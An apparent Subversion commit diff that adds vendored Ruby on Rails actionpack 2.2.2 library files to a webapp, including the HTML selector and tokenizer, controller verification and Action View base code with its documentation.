+
+
+    # Similar to #select but returns the first matching element. Returns +nil+
+    # if no element matches the selector.
+    def select_first(root)
+      stack = [root]
+      while node = stack.pop
+        if node.tag? && subset = match(node, true)
+          return subset.first if !subset.empty?
+        elsif children = node.children
+          stack.concat children.reverse
+        end
+      end
+      nil
+    end
+
+
+    def to_s #:nodoc:
+      @source
+    end
+
+
+    # Return the next element after this one. Skips sibling text nodes.
+    #
+    # With the +name+ argument, returns the next element with that name,
+    # skipping other sibling elements.
+    def next_element(element, name = nil)
+      if siblings = element.parent.children
+        found = false
+        siblings.each do |node|
+          if node.equal?(element)
+            found = true
+          elsif found && node.tag?
+            return node if (name.nil? || node.name == name)
+          end
+        end
+      end
+      nil
+    end
+
+
+  protected
+
+
+    # Creates a simple selector given the statement and array of
+    # substitution values.
+    #
+    # Returns a hash with the values +tag_name+, +attributes+,
+    # +pseudo+ (classes) and +negation+.
+    #
+    # Called the first time with +can_negate+ true to allow
+    # negation. Called a second time with false since negation
+    # cannot be negated.
+    def simple_selector(statement, values, can_negate = true)
+      tag_name = nil
+      attributes = []
+      pseudo = []
+      negation = []
+
+      # Element name. (Note that in negation, this can come at
+      # any order, but for simplicity we allow if only first).
+      statement.sub!(/^(\*|[[:alpha:]][\w\-]*)/) do |match|
+        match.strip!
+        tag_name = match.downcase unless match == "*"
+        @source << match
+        "" # Remove
+      end
+
+      # Get identifier, class, attribute name, pseudo or negation.
+      while true
+        # Element identifier.
+        next if statement.sub!(/^#(\?|[\w\-]+)/) do |match|
+          id = $1
+          if id == "?"
+            id = values.shift
+          end
+          @source << "##{id}"
+          id = Regexp.new("^#{Regexp.escape(id.to_s)}$") unless id.is_a?(Regexp)
+          attributes << ["id", id]
+          "" # Remove
+        end
+
+        # Class name.
+        next if statement.sub!(/^\.([\w\-]+)/) do |match|
+          class_name = $1
+          @source << ".#{class_name}"
+          class_name = Regexp.new("(^|\s)#{Regexp.escape(class_name)}($|\s)") unless class_name.is_a?(Regexp)
+          attributes << ["class", class_name]
+          "" # Remove
+        end
+
+        # Attribute value.
+        next if statement.sub!(/^\[\s*([[:alpha:]][\w\-]*)\s*((?:[~|^$*])?=)?\s*('[^']*'|"[^*]"|[^\]]*)\s*\]/) do |match|
+          name, equality, value = $1, $2, $3
+          if value == "?"
+            value = values.shift
+          else
+            # Handle single and double quotes.
+            value.strip!
+            if (value[0] == ?" || value[0] == ?') && value[0] == value[-1]
+              value = value[1..-2]
+            end
+          end
+          @source << "[#{name}#{equality}'#{value}']"
+          attributes << [name.downcase.strip, attribute_match(equality, value)]
+          "" # Remove
+        end
+
+        # Root element only.
+        next if statement.sub!(/^:root/) do |match|
+          pseudo << lambda do |element|
+            element.parent.nil? || !element.parent.tag?
+          end
+          @source << ":root"
+          "" # Remove
+        end
+
+        # Nth-child including last and of-type.
+        next if statement.sub!(/^:nth-(last-)?(child|of-type)\((odd|even|(\d+|\?)|(-?\d*|\?)?n([+\-]\d+|\?)?)\)/) do |match|
+          reverse = $1 == "last-"
+          of_type = $2 == "of-type"
+          @source << ":nth-#{$1}#{$2}("
+          case $3
+            when "odd"
+              pseudo << nth_child(2, 1, of_type, reverse)
+              @source << "odd)"
+            when "even"
+              pseudo << nth_child(2, 2, of_type, reverse)
+              @source << "even)"
+            when /^(\d+|\?)$/  # b only
+              b = ($1 == "?" ? values.shift : $1).to_i
+              pseudo << nth_child(0, b, of_type, reverse)
+              @source << "#{b})"
+            when /^(-?\d*|\?)?n([+\-]\d+|\?)?$/
+              a = ($1 == "?" ? values.shift :
+                   $1 == "" ? 1 : $1 == "-" ? -1 : $1).to_i
+              b = ($2 == "?" ? values.shift : $2).to_i
+              pseudo << nth_child(a, b, of_type, reverse)
+              @source << (b >= 0 ? "#{a}n+#{b})" : "#{a}n#{b})")
+            else
+              raise ArgumentError, "Invalid nth-child #{match}"
+          end
+          "" # Remove
+        end
+        # First/last child (of type).
+        next if statement.sub!(/^:(first|last)-(child|of-type)/) do |match|
+          reverse = $1 == "last"
+          of_type = $2 == "of-type"
+          pseudo << nth_child(0, 1, of_type, reverse)
+          @source << ":#{$1}-#{$2}"
+          "" # Remove
+        end
+        # Only child (of type).
+        next if statement.sub!(/^:only-(child|of-type)/) do |match|
+          of_type = $1 == "of-type"
+          pseudo << only_child(of_type)
+          @source << ":only-#{$1}"
+          "" # Remove
+        end
+
+        # Empty: no child elements or meaningful content (whitespaces
+        # are ignored).
+        next if statement.sub!(/^:empty/) do |match|
+          pseudo << lambda do |element|
+            empty = true
+            for child in element.children
+              if child.tag? || !child.content.strip.empty?
+                empty = false
+                break
+              end
+            end
+            empty
+          end
+          @source << ":empty"
+          "" # Remove
+        end
+        # Content: match the text content of the element, stripping
+        # leading and trailing spaces.
+        next if statement.sub!(/^:content\(\s*(\?|'[^']*'|"[^"]*"|[^)]*)\s*\)/) do |match|
+          content = $1
+          if content == "?"
+            content = values.shift
+          elsif (content[0] == ?" || content[0] == ?') && content[0] == content[-1]
+            content = content[1..-2]
+          end
+          @source << ":content('#{content}')"
+          content = Regexp.new("^#{Regexp.escape(content.to_s)}$") unless content.is_a?(Regexp)
+          pseudo << lambda do |element|
+            text = ""
+            for child in element.children
+              unless child.tag?
+                text << child.content
+              end
+            end
+            text.strip =~ content
+          end
+          "" # Remove
+        end
+
+        # Negation. Create another simple selector to handle it.
+        if statement.sub!(/^:not\(\s*/, "")
+          raise ArgumentError, "Double negatives are not missing feature" unless can_negate
+          @source << ":not("
+          negation << simple_selector(statement, values, false)
+          raise ArgumentError, "Negation not closed" unless statement.sub!(/^\s*\)/, "")
+          @source << ")"
+          next
+        end
+
+        # No match: moving on.
+        break
+      end
+
+      # Return hash. The keys are mapped to instance variables.
+      {:tag_name=>tag_name, :attributes=>attributes, :pseudo=>pseudo, :negation=>negation}
+    end
+
+
+    # Create a regular expression to match an attribute value based
+    # on the equality operator (=, ^=, |=, etc).
+    def attribute_match(equality, value)
+      regexp = value.is_a?(Regexp) ? value : Regexp.escape(value.to_s)
+      case equality
+        when "=" then
+          # Match the attribute value in full
+          Regexp.new("^#{regexp}$")
+        when "~=" then
+          # Match a space-separated word within the attribute value
+          Regexp.new("(^|\s)#{regexp}($|\s)")
+        when "^="
+          # Match the beginning of the attribute value
+          Regexp.new("^#{regexp}")
+        when "$="
+          # Match the end of the attribute value
+          Regexp.new("#{regexp}$")
+        when "*="
+          # Match substring of the attribute value
+          regexp.is_a?(Regexp) ? regexp : Regexp.new(regexp)
+        when "|=" then
+          # Match the first space-separated item of the attribute value
+          Regexp.new("^#{regexp}($|\s)")
+        else
+          raise InvalidSelectorError, "Invalid operation/value" unless value.empty?
+          # Match all attributes values (existence check)
+          //
+      end
+    end
+
+
+    # Returns a lambda that can match an element against the nth-child
+    # pseudo class, given the following arguments:
+    # * +a+ -- Value of a part.
+    # * +b+ -- Value of b part.
+    # * +of_type+ -- True to test only elements of this type (of-type).
+    # * +reverse+ -- True to count in reverse order (last-).
+    def nth_child(a, b, of_type, reverse)
+      # a = 0 means select at index b, if b = 0 nothing selected
+      return lambda { |element| false } if a == 0 && b == 0
+      # a < 0 and b < 0 will never match against an index
+      return lambda { |element| false } if a < 0 && b < 0
+      b = a + b + 1 if b < 0   # b < 0 just picks last element from each group
+      b -= 1 unless b == 0  # b == 0 is same as b == 1, otherwise zero based
+      lambda do |element|
+        # Element must be inside parent element.
+        return false unless element.parent && element.parent.tag?
+        index = 0
+        # Get siblings, reverse if counting from last.
+        siblings = element.parent.children
+        siblings = siblings.reverse if reverse
+        # Match element name if of-type, otherwise ignore name.
+        name = of_type ? element.name : nil
+        found = false
+        for child in siblings
+          # Skip text nodes/comments.
+          if child.tag? && (name == nil || child.name == name)
+            if a == 0
+              # Shortcut when a == 0 no need to go past count
+              if index == b
+                found = child.equal?(element)
+                break
+              end
+            elsif a < 0
+              # Only look for first b elements
+              break if index > b
+              if child.equal?(element)
+                found = (index % a) == 0
+                break
+              end
+            else
+              # Otherwise, break if child found and count ==  an+b
+              if child.equal?(element)
+                found = (index % a) == b
+                break
+              end
+            end
+            index += 1
+          end
+        end
+        found
+      end
+    end
+
+
+    # Creates a only child lambda. Pass +of-type+ to only look at
+    # elements of its type.
+    def only_child(of_type)
+      lambda do |element|
+        # Element must be inside parent element.
+        return false unless element.parent && element.parent.tag?
+        name = of_type ? element.name : nil
+        other = false
+        for child in element.parent.children
+          # Skip text nodes/comments.
+          if child.tag? && (name == nil || child.name == name)
+            unless child.equal?(element)
+              other = true
+              break
+            end
+          end
+        end
+        !other
+      end
+    end
+
+
+    # Called to create a dependent selector (sibling, descendant, etc).
+    # Passes the remainder of the statement that will be reduced to zero
+    # eventually, and array of substitution values.
+    #
+    # This method is called from four places, so it helps to put it here
+    # for reuse. The only logic deals with the need to detect comma
+    # separators (alternate) and apply them to the selector group of the
+    # top selector.
+    def next_selector(statement, values)
+      second = Selector.new(statement, values)
+      # If there are alternate selectors, we group them in the top selector.
+      if alternates = second.instance_variable_get(:@alternates)
+        second.instance_variable_set(:@alternates, [])
+        @alternates.concat alternates
+      end
+      second
+    end
+
+  end
+
+
+  # See HTML::Selector.new
+  def self.selector(statement, *values)
+    Selector.new(statement, *values)
+  end
+
+
+  class Tag
+
+    def select(selector, *values)
+      selector = HTML::Selector.new(selector, values)
+      selector.select(self)
+    end
+
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/tokenizer.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/tokenizer.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/tokenizer.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,105 @@
+require 'strscan'
+
+module HTML #:nodoc:
+  
+  # A simple HTML tokenizer. It simply breaks a stream of text into tokens, where each
+  # token is a string. Each string represents either "text", or an HTML element.
+  #
+  # This currently assumes valid XHTML, which means no free < or > characters.
+  #
+  # Usage:
+  #
+  #   tokenizer = HTML::Tokenizer.new(text)
+  #   while token = tokenizer.next
+  #     p token
+  #   end
+  class Tokenizer #:nodoc:
+    
+    # The current (byte) position in the text
+    attr_reader :position
+    
+    # The current line number
+    attr_reader :line
+    
+    # Create a new Tokenizer for the given text.
+    def initialize(text)
+      @scanner = StringScanner.new(text)
+      @position = 0
+      @line = 0
+      @current_line = 1
+    end
+
+    # Return the next token in the sequence, or +nil+ if there are no more tokens in
+    # the stream.
+    def next
+      return nil if @scanner.eos?
+      @position = @scanner.pos
+      @line = @current_line
+      if @scanner.check(/<\S/)
+        update_current_line(scan_tag)
+      else
+        update_current_line(scan_text)
+      end
+    end
+  
+    private
+
+      # Treat the text at the current position as a tag, and scan it. Supports
+      # comments, doctype tags, and regular tags, and ignores less-than and
+      # greater-than characters within quoted strings.
+      def scan_tag
+        tag = @scanner.getch
+        if @scanner.scan(/!--/) # comment
+          tag << @scanner.matched
+          tag << (@scanner.scan_until(/--\s*>/) || @scanner.scan_until(/\Z/))
+        elsif @scanner.scan(/!\[CDATA\[/)
+          tag << @scanner.matched
+          tag << (@scanner.scan_until(/\]\]>/) || @scanner.scan_until(/\Z/))
+        elsif @scanner.scan(/!/) # doctype
+          tag << @scanner.matched
+          tag << consume_quoted_regions
+        else
+          tag << consume_quoted_regions
+        end
+        tag
+      end
+
+      # Scan all text up to the next < character and return it.
+      def scan_text
+        "#{@scanner.getch}#{@scanner.scan(/[^<]*/)}"
+      end
+      
+      # Counts the number of newlines in the text and updates the current line
+      # accordingly.
+      def update_current_line(text)
+        text.scan(/\r?\n/) { @current_line += 1 }
+      end
+      
+      # Skips over quoted strings, so that less-than and greater-than characters
+      # within the strings are ignored.
+      def consume_quoted_regions
+        text = ""
+        loop do
+          match = @scanner.scan_until(/['"<>]/) or break
+
+          delim = @scanner.matched
+          if delim == "<"
+            match = match.chop
+            @scanner.pos -= 1
+          end
+
+          text << match
+          break if delim == "<" || delim == ">"
+
+          # consume the quoted region
+          while match = @scanner.scan_until(/[\\#{delim}]/)
+            text << match
+            break if @scanner.matched == delim
+            text << @scanner.getch # skip the escaped character
+          end
+        end
+        text
+      end
+  end
+  
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/version.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/version.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/vendor/html-scanner/html/version.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,11 @@
+module HTML #:nodoc:
+  module Version #:nodoc:
+
+    MAJOR = 0
+    MINOR = 5
+    TINY  = 3
+
+    STRING = [ MAJOR, MINOR, TINY ].join(".")
+
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/verification.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/verification.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/verification.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,130 @@
+module ActionController #:nodoc:
+  module Verification #:nodoc:
+    def self.included(base) #:nodoc:
+      base.extend(ClassMethods)
+    end
+
+    # This module provides a class-level method for specifying that certain
+    # actions are guarded against being called without certain prerequisites
+    # being met. This is essentially a special kind of before_filter.
+    #
+    # An action may be guarded against being invoked without certain request
+    # parameters being set, or without certain session values existing.
+    #
+    # When a verification is violated, values may be inserted into the flash, and
+    # a specified redirection is triggered. If no specific action is configured,
+    # verification failures will by default result in a 400 Bad Request response.
+    #
+    # Usage:
+    #
+    #   class GlobalController < ActionController::Base
+    #     # Prevent the #update_settings action from being invoked unless
+    #     # the 'admin_privileges' request parameter exists. The
+    #     # settings action will be redirected to in current controller
+    #     # if verification fails.
+    #     verify :params => "admin_privileges", :only => :update_post,
+    #            :redirect_to => { :action => "settings" }
+    #
+    #     # Disallow a post from being updated if there was no information
+    #     # submitted with the post, and if there is no active post in the
+    #     # session, and if there is no "note" key in the flash. The route
+    #     # named category_url will be redirected to if verification fails.
+    #
+    #     verify :params => "post", :session => "post", "flash" => "note",
+    #            :only => :update_post,
+    #            :add_flash => { "alert" => "Failed to create your message" },
+    #            :redirect_to => :category_url
+    #
+    # Note that these prerequisites are not business rules. They do not examine 
+    # the content of the session or the parameters. That level of validation should
+    # be encapsulated by your domain model or helper methods in the controller.
+    module ClassMethods
+      # Verify the given actions so that if certain prerequisites are not met,
+      # the user is redirected to a different action. The +options+ parameter
+      # is a hash consisting of the following key/value pairs:
+      #
+      # <tt>:params</tt>:: 
+      #   a single key or an array of keys that must be in the <tt>params</tt> 
+      #   hash in order for the action(s) to be safely called.
+      # <tt>:session</tt>:: 
+      #   a single key or an array of keys that must be in the <tt>session</tt> 
+      #   in order for the action(s) to be safely called.
+      # <tt>:flash</tt>:: 
+      #   a single key or an array of keys that must be in the flash in order 
+      #   for the action(s) to be safely called.
+      # <tt>:method</tt>:: 
+      #   a single key or an array of keys--any one of which must match the 
+      #   current request method in order for the action(s) to be safely called. 
+      #   (The key should be a symbol: <tt>:get</tt> or <tt>:post</tt>, for 
+      #   example.)
+      # <tt>:xhr</tt>:: 
+      #   true/false option to ensure that the request is coming from an Ajax 
+      #   call or not. 
+      # <tt>:add_flash</tt>:: 
+      #   a hash of name/value pairs that should be merged into the session's 
+      #   flash if the prerequisites cannot be satisfied.
+      # <tt>:add_headers</tt>:: 
+      #   a hash of name/value pairs that should be merged into the response's 
+      #   headers hash if the prerequisites cannot be satisfied.
+      # <tt>:redirect_to</tt>:: 
+      #   the redirection parameters to be used when redirecting if the 
+      #   prerequisites cannot be satisfied. You can redirect either to named 
+      #   route or to the action in some controller.
+      # <tt>:render</tt>:: 
+      #   the render parameters to be used when the prerequisites cannot be satisfied.
+      # <tt>:only</tt>:: 
+      #   only apply this verification to the actions specified in the associated 
+      #   array (may also be a single value).
+      # <tt>:except</tt>:: 
+      #   do not apply this verification to the actions specified in the associated 
+      #   array (may also be a single value).
+      def verify(options={})
+        before_filter :only => options[:only], :except => options[:except] do |c|
+          c.__send__ :verify_action, options
+        end
+      end
+    end
+
+  private
+
+    def verify_action(options) #:nodoc:
+      if prereqs_invalid?(options)
+        flash.update(options[:add_flash])              if options[:add_flash]
+        response.headers.update(options[:add_headers]) if options[:add_headers]
+        apply_remaining_actions(options)               unless performed?
+      end
+    end
+    
+    def prereqs_invalid?(options) # :nodoc:
+      verify_presence_of_keys_in_hash_flash_or_params(options) || 
+      verify_method(options) || 
+      verify_request_xhr_status(options)
+    end
+ 
+    def verify_presence_of_keys_in_hash_flash_or_params(options) # :nodoc:
+      [*options[:params] ].find { |v| params[v].nil?  } ||
+      [*options[:session]].find { |v| session[v].nil? } ||
+      [*options[:flash]  ].find { |v| flash[v].nil?   }
+    end
+    
+    def verify_method(options) # :nodoc:
+      [*options[:method]].all? { |v| request.method != v.to_sym } if options[:method]
+    end
+    
+    def verify_request_xhr_status(options) # :nodoc:
+      request.xhr? != options[:xhr] unless options[:xhr].nil?
+    end
+    
+    def apply_redirect_to(redirect_to_option) # :nodoc:
+      (redirect_to_option.is_a?(Symbol) && redirect_to_option != :back) ? self.__send__(redirect_to_option) : redirect_to_option
+    end
+    
+    def apply_remaining_actions(options) # :nodoc:
+      case
+        when options[:render]      ; render(options[:render])
+        when options[:redirect_to] ; redirect_to(apply_redirect_to(options[:redirect_to]))
+        else head(:bad_request)
+      end
+    end
+  end
+end
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,79 @@
+#--
+# Copyright (c) 2004-2008 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+begin
+  require 'active_support'
+rescue LoadError
+  activesupport_path = "#{File.dirname(__FILE__)}/../../activesupport/lib"
+  if File.directory?(activesupport_path)
+    $:.unshift activesupport_path
+    require 'active_support'
+  end
+end
+
+$:.unshift "#{File.dirname(__FILE__)}/action_controller/vendor/html-scanner"
+
+require 'action_controller/base'
+require 'action_controller/request'
+require 'action_controller/rescue'
+require 'action_controller/benchmarking'
+require 'action_controller/flash'
+require 'action_controller/filters'
+require 'action_controller/layout'
+require 'action_controller/mime_responds'
+require 'action_controller/helpers'
+require 'action_controller/cookies'
+require 'action_controller/cgi_process'
+require 'action_controller/caching'
+require 'action_controller/verification'
+require 'action_controller/streaming'
+require 'action_controller/session_management'
+require 'action_controller/http_authentication'
+require 'action_controller/components'
+require 'action_controller/rack_process'
+require 'action_controller/record_identifier'
+require 'action_controller/request_forgery_protection'
+require 'action_controller/headers'
+require 'action_controller/translation'
+
+require 'action_view'
+
+ActionController::Base.class_eval do
+  include ActionController::Flash
+  include ActionController::Filters
+  include ActionController::Layout
+  include ActionController::Benchmarking
+  include ActionController::Rescue
+  include ActionController::MimeResponds
+  include ActionController::Helpers
+  include ActionController::Cookies
+  include ActionController::Caching
+  include ActionController::Verification
+  include ActionController::Streaming
+  include ActionController::SessionManagement
+  include ActionController::HttpAuthentication::Basic::ControllerMethods
+  include ActionController::Components
+  include ActionController::RecordIdentifier
+  include ActionController::RequestForgeryProtection
+  include ActionController::Translation
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_pack/version.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_pack/version.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_pack/version.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,9 @@
+module ActionPack #:nodoc:
+  module VERSION #:nodoc:
+    MAJOR = 2
+    MINOR = 2
+    TINY  = 2
+
+    STRING = [MAJOR, MINOR, TINY].join('.')
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_pack.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_pack.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_pack.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+#--
+# Copyright (c) 2004-2008 David Heinemeier Hansson
+#
+# Permission is hereby granted, free of charge, to any person obtaining
+# a copy of this software and associated documentation files (the
+# "Software"), to deal in the Software without restriction, including
+# without limitation the rights to use, copy, modify, merge, publish,
+# distribute, sublicense, and/or sell copies of the Software, and to
+# permit persons to whom the Software is furnished to do so, subject to
+# the following conditions:
+#
+# The above copyright notice and this permission notice shall be
+# included in all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND
+# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE
+# LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+# OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+# WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+#++
+
+require 'action_pack/version'

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/base.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/base.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_view/base.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,381 @@
+module ActionView #:nodoc:
+  class ActionViewError < StandardError #:nodoc:
+  end
+
+  class MissingTemplate < ActionViewError #:nodoc:
+    def initialize(paths, path, template_format = nil)
+      full_template_path = path.include?('.') ? path : "#{path}.erb"
+      display_paths = paths.join(':')
+      template_type = (path =~ /layouts/i) ? 'layout' : 'template'
+      super("Missing #{template_type} #{full_template_path} in view path #{display_paths}")
+    end
+  end
+
+  # Action View templates can be written in three ways. If the template file has a <tt>.erb</tt> (or <tt>.rhtml</tt>) extension then it uses a mixture of ERb
+  # (included in Ruby) and HTML. If the template file has a <tt>.builder</tt> (or <tt>.rxml</tt>) extension then Jim Weirich's Builder::XmlMarkup library is used.
+  # If the template file has a <tt>.rjs</tt> extension then it will use ActionView::Helpers::PrototypeHelper::JavaScriptGenerator.
+  #
+  # = ERb
+  #
+  # You trigger ERb by using embeddings such as <% %>, <% -%>, and <%= %>. The <%= %> tag set is used when you want output. Consider the
+  # following loop for names:
+  #
+  #   <b>Names of all the people</b>
+  #   <% for person in @people %>
+  #     Name: <%= person.name %><br/>
+  #   <% end %>
+  #
+  # The loop is setup in regular embedding tags <% %> and the name is written using the output embedding tag <%= %>. Note that this
+  # is not just a usage suggestion. Regular output functions like print or puts won't work with ERb templates. So this would be wrong:
+  #
+  #   Hi, Mr. <% puts "Frodo" %>
+  #
+  # If you absolutely must write from within a function, you can use the TextHelper#concat.
+  #
+  # <%- and -%> suppress leading and trailing whitespace, including the trailing newline, and can be used interchangeably with <% and %>.
+  #
+  # == Using sub templates
+  #
+  # Using sub templates allows you to sidestep tedious replication and extract common display structures in shared templates. The
+  # classic example is the use of a header and footer (even though the Action Pack-way would be to use Layouts):
+  #
+  #   <%= render "shared/header" %>
+  #   Something really specific and terrific
+  #   <%= render "shared/footer" %>
+  #
+  # As you see, we use the output embeddings for the render methods. The render call itself will just return a string holding the
+  # result of the rendering. The output embedding writes it to the current template.
+  #
+  # But you don't have to restrict yourself to static includes. Templates can share variables amongst themselves by using instance
+  # variables defined using the regular embedding tags. Like this:
+  #
+  #   <% @page_title = "A Wonderful Hello" %>
+  #   <%= render "shared/header" %>
+  #
+  # Now the header can pick up on the <tt>@page_title</tt> variable and use it for outputting a title tag:
+  #
+  #   <title><%= @page_title %></title>
+  #
+  # == Passing local variables to sub templates
+  #
+  # You can pass local variables to sub templates by using a hash with the variable names as keys and the objects as values:
+  #
+  #   <%= render "shared/header", { :headline => "Welcome", :person => person } %>
+  #
+  # These can now be accessed in <tt>shared/header</tt> with:
+  #
+  #   Headline: <%= headline %>
+  #   First name: <%= person.first_name %>
+  #
+  # If you need to find out whether a certain local variable has been assigned a value in a particular render call,
+  # you need to use the following pattern:
+  #
+  #   <% if local_assigns.has_key? :headline %>
+  #     Headline: <%= headline %>
+  #   <% end %>
+  #
+  # Testing using <tt>defined? headline</tt> will not work. This is an implementation restriction.
+  #
+  # == Template caching
+  #
+  # By default, Rails will compile each template to a method in order to render it. When you alter a template, Rails will
+  # check the file's modification time and recompile it.
+  #
+  # == Builder
+  #
+  # Builder templates are a more programmatic alternative to ERb. They are especially useful for generating XML content. An XmlMarkup object
+  # named +xml+ is automatically made available to templates with a <tt>.builder</tt> extension.
+  #
+  # Here are some basic examples:
+  #
+  #   xml.em("emphasized")                              # => <em>emphasized</em>
+  #   xml.em { xml.b("emph & bold") }                   # => <em><b>emph &amp; bold</b></em>
+  #   xml.a("A Link", "href"=>"http://onestepback.org") # => <a href="http://onestepback.org">A Link</a>
+  #   xml.target("name"=>"compile", "option"=>"fast")   # => <target option="fast" name="compile"\>
+  #                                                     # NOTE: order of attributes is not specified.
+  #
+  # Any method with a block will be treated as an XML markup tag with nested markup in the block. For example, the following:
+  #
+  #   xml.div {
+  #     xml.h1(@person.name)
+  #     xml.p(@person.bio)
+  #   }
+  #
+  # would produce something like:
+  #
+  #   <div>
+  #     <h1>David Heinemeier Hansson</h1>
+  #     <p>A product of Danish Design during the Winter of '79...</p>
+  #   </div>
+  #
+  # A full-length RSS example actually used on Basecamp:
+  #
+  #   xml.rss("version" => "2.0", "xmlns:dc" => "http://purl.org/dc/elements/1.1/") do
+  #     xml.channel do
+  #       xml.title(@feed_title)
+  #       xml.link(@url)
+  #       xml.description "Basecamp: Recent items"
+  #       xml.language "en-us"
+  #       xml.ttl "40"
+  #
+  #       for item in @recent_items
+  #         xml.item do
+  #           xml.title(item_title(item))
+  #           xml.description(item_description(item)) if item_description(item)
+  #           xml.pubDate(item_pubDate(item))
+  #           xml.guid(@person.firm.account.url + @recent_items.url(item))
+  #           xml.link(@person.firm.account.url + @recent_items.url(item))
+  #
+  #           xml.tag!("dc:creator", item.author_name) if item_has_creator?(item)
+  #         end
+  #       end
+  #     end
+  #   end
+  #
+  # More builder documentation can be found at http://builder.rubyforge.org.
+  #
+  # == JavaScriptGenerator
+  #
+  # JavaScriptGenerator templates end in <tt>.rjs</tt>. Unlike conventional templates which are used to
+  # render the results of an action, these templates generate instructions on how to modify an already rendered page. This makes it easy to
+  # modify multiple elements on your page in one declarative Ajax response. Actions with these templates are called in the background with Ajax
+  # and make updates to the page where the request originated from.
+  #
+  # An instance of the JavaScriptGenerator object named +page+ is automatically made available to your template, which is implicitly wrapped in an ActionView::Helpers::PrototypeHelper#update_page block.
+  #
+  # When an <tt>.rjs</tt> action is called with +link_to_remote+, the generated JavaScript is automatically evaluated.  Example:
+  #
+  #   link_to_remote :url => {:action => 'delete'}
+  #
+  # The subsequently rendered <tt>delete.rjs</tt> might look like:
+  #
+  #   page.replace_html  'sidebar', :partial => 'sidebar'
+  #   page.remove        "person-#{@person.id}"
+  #   page.visual_effect :highlight, 'user-list'
+  #
+  # This refreshes the sidebar, removes a person element and highlights the user list.
+  #
+  # See the ActionView::Helpers::PrototypeHelper::GeneratorMethods documentation for more details.
+  class Base
+    include ERB::Util
+    extend ActiveSupport::Memoizable
+
+    attr_accessor :base_path, :assigns, :template_extension
+    attr_accessor :controller
+
+    attr_writer :template_format
+
+    attr_accessor :output_buffer
+
+    class << self
+      delegate :erb_trim_mode=, :to => 'ActionView::TemplateHandlers::ERB'
+      delegate :logger, :to => 'ActionController::Base'
+    end
+
